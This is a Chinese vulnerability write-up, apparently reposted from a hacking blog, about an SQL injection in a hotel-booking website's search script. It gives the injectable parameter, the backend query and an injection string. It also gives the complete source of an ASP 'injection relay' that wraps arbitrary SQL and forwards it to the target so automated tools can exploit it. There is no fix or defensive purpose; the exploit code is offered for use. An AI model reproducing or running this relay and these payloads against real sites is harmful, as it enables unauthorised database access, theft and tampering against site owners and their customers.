漏洞名称:
酒店、宾馆预定,酒店查询,酒店网站 SQL 注入漏洞
发现时间:
2011年8月28日, 01:54:11
漏洞文件:
/hotel/hotel_search.asp
利用条件:
Null
漏洞原因:
文件:/hotel/hotel_search.asp,没有过滤提交参数,导致任意注入。
网站内很多文件均存在此漏洞,不止这一个。
Sql查询语句为:
select * form table where ( name='关键词' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC
关键词:' and minPrice >0 Or ''='
漏洞测试:
漏洞利用:
1、由于注入语句比较特别,无法使用工具直接跑,需使用注入中转:index.asp。
2、使用方法(需先修改文件中的URL地址):http://127.0.0.1/index.asp?sql=SQL语句
注意事项:
1、Null
其他信息:
Null
index.asp 注入中转脚本源码:
<%
Dim Sql, Url
Sql = Request("Sql")
'Sql = "' " & Sql & " or ''='"
Sql = "')" & Sql & ";--"
Url = "http://xx.com/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name=" & UrlEncoding(Sql, True)
Set Xml = Server.CreateObject("Microsoft.xmlhttp")
Xml.Open "GET", Url, False
Xml.Send
Response.Write Url & "<br><br>"
Response.Write "select * form table where ( name='<font color='red'>" & Sql & "</font>' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC" & "<br>"
Response.BinaryWrite Xml.ResponseBody
Response.End
'----------------------------------------------------------------'
'功能描述:URL编码函数
'输入参数:中英文混合字符串,f是否对ASCII字符编码
'返回值:编码后的ASC字符串
Public Function UrlEncoding(v, f) 'URL编码
Dim s, t, i, j, h, l, x: s = "": x = Len(v)
For i = 1 To x
t = Mid(v, i, 1): j = Asc(t)
If j > 0 Then
If f Then
s = s & "%" & Right("00" & Hex(Asc(t)), 2)
Else
s = s & t
End If
Else
If j < 0 Then j = j + &H10000
h = (j And &HFF00) \ &HFF
l = j And &HFF
s = s & "%" & Hex(h) & "%" & Hex(l)
End If
Next
UrlEncoding = s
End Function
%>
本文来源于iick's blog http://www.hack1990.com/ , 原文地址:http://www.hack1990.com/cat_2/961.html